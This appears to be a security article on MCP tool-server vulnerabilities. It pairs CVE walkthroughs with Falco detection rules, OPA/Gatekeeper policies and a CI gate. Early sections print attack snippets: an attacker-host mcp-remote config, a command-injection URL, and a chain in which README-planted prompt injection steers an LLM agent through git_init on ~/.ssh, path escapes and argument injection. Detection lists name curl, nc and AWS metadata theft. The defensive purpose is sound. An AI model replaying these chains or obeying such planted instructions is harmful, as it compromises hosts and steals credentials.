MCP Security in 2026: Real CVEs, Exploit Chains, and Policy-as-Code Defenses for AI Tool Infrastructure

CVE-2025-6514: The Injection Vector

# Attacker controls a malicious MCP server at attacker.com
# When mcp-remote connects, the server returns:
{
  "authorization_endpoint": "file:/c:/windows/system32/calc.exe"
}

# On Windows: PowerShell's subexpression evaluation leads to 
# arbitrary command execution with full parameter control

# Real-world payload example (simplified):
# "http://www.example$(malicious_command).com/?response_type=code"
# 
# mcp-remote passes this unsanitized URL to open()
# → command injection → arbitrary OS command execution
# → full system compromise: SSH keys, env vars, filesystem

# Attack chain in claude_desktop_config.json:
{
  "mcpServers": {
    "attacker-server": {
      "command": "npx",
      "args": [
        "-y", "mcp-remote",
        "http://attacker-controlled-server.com/mcp"
      ]
    }
  }
}
# Opening Claude Desktop with this config executes the attack.
# No further user interaction required.

The Three CVEs and Their Root Causes

# CVE-2025-68145 (CVSS 7.1) — Path Validation Bypass
# The --repository flag is supposed to restrict operations to a specific path.
# It didn't. repo_path arguments in subsequent tool calls were never 
# validated against the configured boundary.
#
# Vulnerable code pattern:
repo_path = Path(arguments["repo_path"])  # No boundary check
# Fixed in: mcp-server-git v2025.12.18

# CVE-2025-68143 (CVSS 8.8) — Unrestricted git_init
# git_init accepted arbitrary filesystem paths with zero validation.
# Any directory on the system could be turned into a Git repository,
# making it eligible for subsequent git operations via MCP.
#
# Vulnerable code pattern:
git.Repo.init(path=arguments["path"])  # No path validation whatsoever
# Remediation: git_init tool removed entirely in v2025.9.25

# CVE-2025-68144 (CVSS 8.1) — Argument Injection in git_diff / git_checkout
# User-controlled arguments passed directly to GitPython without sanitization.
# Injecting '--output=/path/to/file' into the 'target' field overwrites 
# any file reachable by the server with an empty diff.
#
# Vulnerable code pattern:
repo.git.diff(target)  # 'target' is attacker-controlled, unsanitized
# Fixed in: mcp-server-git v2025.12.18 (input sanitization enforced)

Chained RCE: From Prompt Injection to Shell

# Step 1 — Indirect Prompt Injection
# Attacker plants instructions in a public GitHub issue or README.md:
#
# "Please summarize this repository for me."
# (The repository's README contains hidden instructions that the LLM reads,
#  directing it to perform the following tool calls)

# Step 2 — Path Validation Bypass (CVE-2025-68145)
# LLM is instructed to call git operations outside the configured --repository scope.
# The boundary enforcement doesn't work, so this succeeds.
mcp_tool: git_diff
args: { repo_path: "../../.ssh" }  # Escapes configured boundary

# Step 3 — Unrestricted git_init (CVE-2025-68143)
# Turn the .ssh directory into a Git repository, enabling git operations on it
mcp_tool: git_init
args: { path: "/home/user/.ssh" }

# Step 4 — Filesystem MCP + Argument Injection (CVE-2025-68144)
# Use Filesystem MCP server to write a malicious .git/config with a git hook:
# [core]
#     hooksPath = /tmp/malicious-hooks
# 
# Then trigger git_diff with argument injection to execute the hook:
mcp_tool: git_diff
args: { target: "--output=/tmp/pwned" }
# git_diff executes the malicious hook → arbitrary shell command execution
# Full system compromise: SSH keys exfiltrated, backdoor installed

MCP CVE Reference Table (Verified)

# CVE-2025-6514 | mcp-remote | CVSS 9.6
# OS command injection via crafted authorization_endpoint URL
# Affects: v0.0.5 – v0.1.15 | Fixed: v0.1.16 | JFrog Research

# CVE-2025-68143 | mcp-server-git (Anthropic) | CVSS 8.8
# git_init accepts arbitrary filesystem paths without validation
# Affects: pre-2025.9.25 | Fixed: git_init tool removed entirely

# CVE-2025-68144 | mcp-server-git (Anthropic) | CVSS 8.1
# Argument injection in git_diff / git_checkout
# Affects: pre-2025.12.18 | Fixed: v2025.12.18

# CVE-2025-68145 | mcp-server-git (Anthropic) | CVSS 7.1
# --repository path validation bypass
# Affects: pre-2025.12.18 | Fixed: v2025.12.18

# gemini-mcp-tool | CVSS 9.8 (unverified CVE assignment at time of writing)
# Unsanitized user input passed to execAsync shell commands
# Network-exploitable, no authentication required
# Status: Zero-day at time of research disclosure, no patch available

# mcp-fetch-server | CVSS 9.3
# SSRF via private IP validation bypass in is_ip_private()
# Affects: <= v1.0.2 | Fixed: v1.0.3

# CVE-2025-49596 | MCP Inspector (Anthropic developer tool)
# Unauthenticated RCE via inspector-proxy architecture
# Attacker triggers arbitrary commands by having dev inspect a malicious server

# Microsoft MarkItDown MCP Server (unpatched as of disclosure)
# SSRF vulnerability enabling access to EC2 instance metadata service
# Demonstrated AWS credential exfiltration; Microsoft classified as low-risk

Falco Rules: MCP Attack Detection

# /etc/falco/rules.d/mcp-security.yaml

- list: llm_agent_processes
  items: [node, nodejs, python, python3, npx]

- list: shell_binaries
  items: [bash, sh, zsh, dash, ash, ksh, csh]

- list: recon_tools
  items: [wget, curl, nc, netcat, ncat, socat, nmap]

- list: sensitive_files
  items: [/etc/passwd, /etc/shadow, /etc/hosts, /proc/version]

- macro: mcp_agent_spawning_shell
  condition: >
    (evt.type in (execve, execveat) and
     evt.dir=< and
     evt.arg.res=0 and
     proc.aname in (llm_agent_processes) and
     proc.name in (shell_binaries))

# Rule 1: Detect shell spawned by MCP agent process
# Core signal for CVE-2025-6514 and the mcp-server-git RCE chain
- rule: MCP Agent Spawning Shell Process
  desc: >
    Detects shell execution spawned by an LLM agent/MCP server process.
    This is the primary post-exploitation signal for CVE-2025-6514 
    (mcp-remote command injection) and indirect prompt injection RCE chains.
  condition: >
    mcp_agent_spawning_shell
  output: >
    Shell spawned by MCP agent process 
    (shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline
     user=%user.name container=%container.id image=%container.image.repository)
  priority: CRITICAL
  tags: [mcp, rce, cve_2025_6514, prompt_injection]

# Rule 2: MCP process reading sensitive system files
- rule: MCP Agent Accessing Sensitive Files
  desc: >
    Detects MCP server or LLM agent process reading sensitive system paths.
    Indicates post-exploitation reconnaissance following a successful 
    path traversal (CVE-2025-68145) or prompt injection attack.
  condition: >
    (evt.type=openat and
     proc.aname in (llm_agent_processes) and
     (fd.name in (sensitive_files) or
      fd.name startswith "/proc/" or
      fd.name startswith "/sys/"))
  output: >
    MCP agent reading sensitive file
    (file=%fd.name process=%proc.name parent=%proc.pname
     user=%user.name container=%container.id)
  priority: HIGH
  tags: [mcp, path_traversal, cve_2025_68145]

# Rule 3: MCP process accessing AWS metadata service (credential theft)
- rule: MCP Agent AWS Metadata Access
  desc: >
    Detects MCP agent querying the AWS IMDSv1 endpoint.
    Indicates credential theft attempt — likely following tool poisoning
    or a compromised MCP server with SSRF capability (MarkItDown pattern).
  condition: >
    (evt.type in (execve, execveat) and
     evt.dir=< and
     proc.aname in (llm_agent_processes) and
     proc.name in (wget, curl) and
     (proc.cmdline contains "169.254.169.254" or
      proc.cmdline contains "metadata" or
      proc.cmdline contains "iam/security-credentials"))
  output: >
    MCP agent attempting AWS metadata theft
    (command=%proc.cmdline user=%user.name container=%container.id)
  priority: CRITICAL
  tags: [mcp, credential_theft, ssrf, aws]

# Rule 4: Unexpected outbound connection from MCP server
- rule: MCP Agent Unexpected Outbound Connection
  desc: >
    Detects network connections from MCP agent processes to external IPs.
    Indicates reverse shell, data exfiltration, or C2 beaconing following
    a successful exploit. LLM agent processes should not initiate raw TCP.
  condition: >
    (evt.type=connect and
     proc.aname in (llm_agent_processes) and
     fd.l4proto=tcp and
     fd.sip != "127.0.0.1" and
     fd.sip != "::1" and
     not fd.sip startswith "10." and
     not fd.sip startswith "172.16." and
     not fd.sip startswith "192.168.")
  output: >
    MCP agent making unexpected external connection
    (remote=%fd.sip:%fd.sport process=%proc.name
     container=%container.id image=%container.image.repository)
  priority: HIGH
  tags: [mcp, exfiltration, c2]

# Rule 5: git_init on sensitive directory (mcp-server-git CVE chain)
- rule: MCP Agent git init on Sensitive Path
  desc: >
    Detects git repository initialization in sensitive directories.
    Signature of CVE-2025-68143 exploitation — the first step in the
    Anthropic mcp-server-git RCE chain targeting .ssh or other sensitive paths.
  condition: >
    (evt.type in (execve, execveat) and
     evt.dir=< and
     proc.aname in (llm_agent_processes) and
     proc.name = "git" and
     proc.cmdline contains "init" and
     (proc.cmdline contains ".ssh" or
      proc.cmdline contains "/root" or
      proc.cmdline contains "/etc"))
  output: >
    MCP agent initializing git repo in sensitive path
    (command=%proc.cmdline user=%user.name container=%container.id)
  priority: CRITICAL
  tags: [mcp, cve_2025_68143, git_init, path_traversal]

# Rule 6: Tool poisoning — MCP server writing unexpected files
- rule: MCP Agent Writing Outside Working Directory
  desc: >
    Detects MCP server processes writing files outside expected working paths.
    May indicate tool poisoning or the file-overwrite step of the 
    mcp-server-git CVE-2025-68144 argument injection chain.
  condition: >
    (evt.type in (open, openat) and
     evt.arg.flags contains "O_WRONLY" and
     proc.aname in (llm_agent_processes) and
     not fd.name startswith "/tmp/" and
     not fd.name startswith "/home/" and
     not fd.name startswith "/var/")
  output: >
    MCP agent writing file outside expected paths
    (file=%fd.name process=%proc.name container=%container.id)
  priority: HIGH
  tags: [mcp, tool_poisoning, cve_2025_68144]

Kubernetes Deployment with Alert Routing

# Add Falco Helm repository
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

cat > falco-mcp-values.yaml <

# constraint-template.yaml
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: mcpserverallowlist
spec:
  crd:
    spec:
      names:
        kind: MCPServerAllowlist
      validation:
        openAPIV3Schema:
          type: object
          properties:
            allowedDomains:
              type: array
              items:
                type: string
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package mcpserverallowlist

        import future.keywords.in

        # Deny if any container env var references an unapproved MCP server URL
        violation[{"msg": msg}] {
          container := input.review.object.spec.containers[_]
          env := container.env[_]
          env.name == "MCP_SERVER_URL"

          allowed_domains := {d | d := input.parameters.allowedDomains[_]}

          # Check if the URL domain is in the allowlist
          server_url := env.value
          not any_domain_matches(server_url, allowed_domains)

          msg := sprintf(
            "Container '%s' references unapproved MCP server URL: %s. Only approved internal MCP servers are permitted.",
            [container.name, server_url]
          )
        }

        any_domain_matches(url, domains) {
          domain := domains[_]
          contains(url, domain)
        }

        # Deny MCP configs that use HTTP instead of HTTPS
        violation[{"msg": msg}] {
          container := input.review.object.spec.containers[_]
          env := container.env[_]
          env.name == "MCP_SERVER_URL"
          startswith(env.value, "http://")

          msg := sprintf(
            "Container '%s' connects to MCP server over HTTP (insecure). Use HTTPS only. (CVE-2025-6514 mitigation)",
            [container.name]
          )
        }

---
# constraint.yaml
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: MCPServerAllowlist
metadata:
  name: enforce-mcp-server-allowlist
spec:
  match:
    kinds:
      - apiGroups: ["apps", ""]
        kinds: ["Deployment", "StatefulSet", "DaemonSet"]
  parameters:
    allowedDomains:
      - "mcp.internal.yourcompany.com"
      - "api.yourcompany.com"
      - "mcp.anthropic.com"

OPA Rego: Deny Overly Broad MCP Tool Permissions

# mcp-tool-scope-policy.rego
# Applies to MCP server configuration ConfigMaps or custom CRDs
package mcp.toolscope

import future.keywords.in

# Filesystem MCP server must not be given home directory root access
# This is the exact misconfiguration that enables CVE-2025-68143/68145 chains
deny[msg] {
  container := input.review.object.spec.containers[_]
  arg := container.args[_]

  # Detect filesystem MCP server with overly broad path scope
  server_name := container.args[_]
  contains(server_name, "server-filesystem")

  # Check if the configured path is the home directory or root
  path_arg := container.args[_]
  path_arg in {"/home", "/root", "/", "/Users"}

  msg := sprintf(
    "MCP Filesystem server in container '%s' is configured with overly broad path '%s'. Scope to a specific project directory.",
    [container.name, path_arg]
  )
}

# Deny MCP configs that use mcp-remote with non-HTTPS server URLs
# Direct mitigation for CVE-2025-6514 pattern
deny[msg] {
  container := input.review.object.spec.containers[_]
  args := container.args

  some i
  args[i] == "mcp-remote"
  server_url := args[i+1]
  startswith(server_url, "http://")

  msg := sprintf(
    "Container '%s' uses mcp-remote with HTTP server URL '%s'. This configuration is vulnerable to CVE-2025-6514. Enforce HTTPS.",
    [container.name, server_url]
  )
}

# Deny mcp-server-git versions known to be vulnerable
deny[msg] {
  container := input.review.object.spec.containers[_]
  some arg in container.args
  contains(arg, "server-git")

  # Check for vulnerable version pinning
  image := container.image
  vulnerable_tag := {"2025.9.24", "2025.6.0", "2025.3.0"}
  tag := split(image, ":")[1]
  tag in vulnerable_tag

  msg := sprintf(
    "Container '%s' uses vulnerable mcp-server-git version '%s'. Update to 2025.12.18 or later. (CVE-2025-68143/68144/68145)",
    [container.name, tag]
  )
}

GitHub Actions: MCP Dependency Security Gate

# .github/workflows/mcp-security-gate.yml
name: MCP Security Gate

on:
  pull_request:
    branches: [main, develop]
  push:
    branches: [main]

jobs:
  mcp-vulnerability-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'

      - name: Check for vulnerable mcp-remote versions (CVE-2025-6514)
        run: |
          if grep -r "mcp-remote" package.json package-lock.json 2>/dev/null; then
            MCP_REMOTE_VERSION=$(npm list mcp-remote --depth=0 2>/dev/null | grep mcp-remote | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' || echo "not-found")
            
            if [ "$MCP_REMOTE_VERSION" = "not-found" ]; then
              echo "✅ mcp-remote not installed directly"
            else
              # Semver comparison: fail if < 0.1.16
              MAJOR=$(echo $MCP_REMOTE_VERSION | cut -d. -f1)
              MINOR=$(echo $MCP_REMOTE_VERSION | cut -d. -f2)
              PATCH=$(echo $MCP_REMOTE_VERSION | cut -d. -f3)
              
              if [ "$MAJOR" -eq "0" ] && [ "$MINOR" -eq "1" ] && [ "$PATCH" -lt "16" ]; then
                echo "::error::VULNERABLE mcp-remote version $MCP_REMOTE_VERSION detected"
                echo "::error::CVE-2025-6514 (CVSS 9.6): OS command injection via OAuth flow"
                echo "::error::Fix: npm install mcp-remote@0.1.16 or later"
                exit 1
              elif [ "$MAJOR" -eq "0" ] && [ "$MINOR" -lt "1" ]; then
                echo "::error::VULNERABLE mcp-remote version $MCP_REMOTE_VERSION detected"
                echo "::error::CVE-2025-6514: Update to >= 0.1.16 immediately"
                exit 1
              fi
              echo "✅ mcp-remote $MCP_REMOTE_VERSION is not vulnerable to CVE-2025-6514"
            fi
          fi

      - name: Check for vulnerable mcp-server-git (CVE-2025-68143/68144/68145)
        run: |
          if find . -name "*.json" -exec grep -l "server-git" {} \; 2>/dev/null | head -1; then
            echo "::warning::mcp-server-git reference found in project configs"
            echo "::warning::Ensure you are using version 2025.12.18 or later"
            echo "::warning::Affected CVEs: CVE-2025-68143 (CVSS 8.8), CVE-2025-68144 (CVSS 8.1), CVE-2025-68145 (CVSS 7.1)"
          fi

      - name: Audit npm packages for MCP-related vulnerabilities
        run: npm audit --audit-level=high

      - name: Scan for HTTP MCP server references (CVE-2025-6514 pattern)
        run: |
          if grep -rn '"http://' --include="*.json" . | grep -i "mcp\|server"; then
            echo "::error::HTTP (non-TLS) MCP server URL detected in config files"
            echo "::error::This pattern is vulnerable to CVE-2025-6514"
            echo "::error::All MCP server connections must use HTTPS"
            exit 1
          fi
          echo "✅ No HTTP MCP server URLs detected"

      - name: Check MCP filesystem scope (path traversal prevention)
        run: |
          # Detect overly broad filesystem MCP configurations
          if grep -rn "server-filesystem" --include="*.json" . | grep -E '"/home"|"/root"|"/"'; then
            echo "::error::Overly broad MCP Filesystem server scope detected"
            echo "::error::Do not configure server-filesystem with home directory or root paths"
            echo "::error::Scope to a specific project directory only"
            exit 1
          fi
          echo "✅ MCP Filesystem server scopes look appropriately restricted"

Rego Policy: AWS Lambda MCP Functions Must Use Least Privilege

# wiz-custom-control: mcp-lambda-excessive-permissions.rego
# Applies to AWS Lambda functions serving as MCP server backends
package mcp.aws.lambdapermissions

import future.keywords.in

default result := "fail"

# Known dangerous action sets for MCP server Lambda functions
# These enable the Postmark-pattern supply chain attack:
# compromised MCP server + high-privilege access = full data exfiltration
dangerous_action_sets := {
  "s3:*",
  "ses:SendEmail",
  "ses:SendRawEmail",
  "secretsmanager:GetSecretValue",
  "ssm:GetParameter",
  "iam:PassRole",
  "iam:CreateAccessKey",
  "lambda:InvokeFunction",
}

result := "pass" {
  # Lambda function tagged as MCP server must not have wildcard policies
  currentConfiguration := input.resource.properties
  tags := object.get(currentConfiguration, "Tags", {})
  object.get(tags, "mcp-server", "") == "true"

  policy_doc := currentConfiguration.Policy
  statements := policy_doc.Statement

  # Verify no statement grants dangerous actions
  not any_dangerous_action(statements)
}

any_dangerous_action(statements) {
  statement := statements[_]
  statement.Effect == "Allow"
  action := statement.Action
  
  # Check both string and array forms of Action
  is_string(action)
  action in dangerous_action_sets
}

any_dangerous_action(statements) {
  statement := statements[_]
  statement.Effect == "Allow"
  actions := statement.Action
  is_array(actions)
  action := actions[_]
  action in dangerous_action_sets
}

any_dangerous_action(statements) {
  statement := statements[_]
  statement.Effect == "Allow"
  statement.Action == "*"
}

expectedConfiguration := {
  "TaggedMCPServerLambdas": "Must use scoped IAM policies — no wildcard actions, no high-privilege email/secret/IAM permissions"
}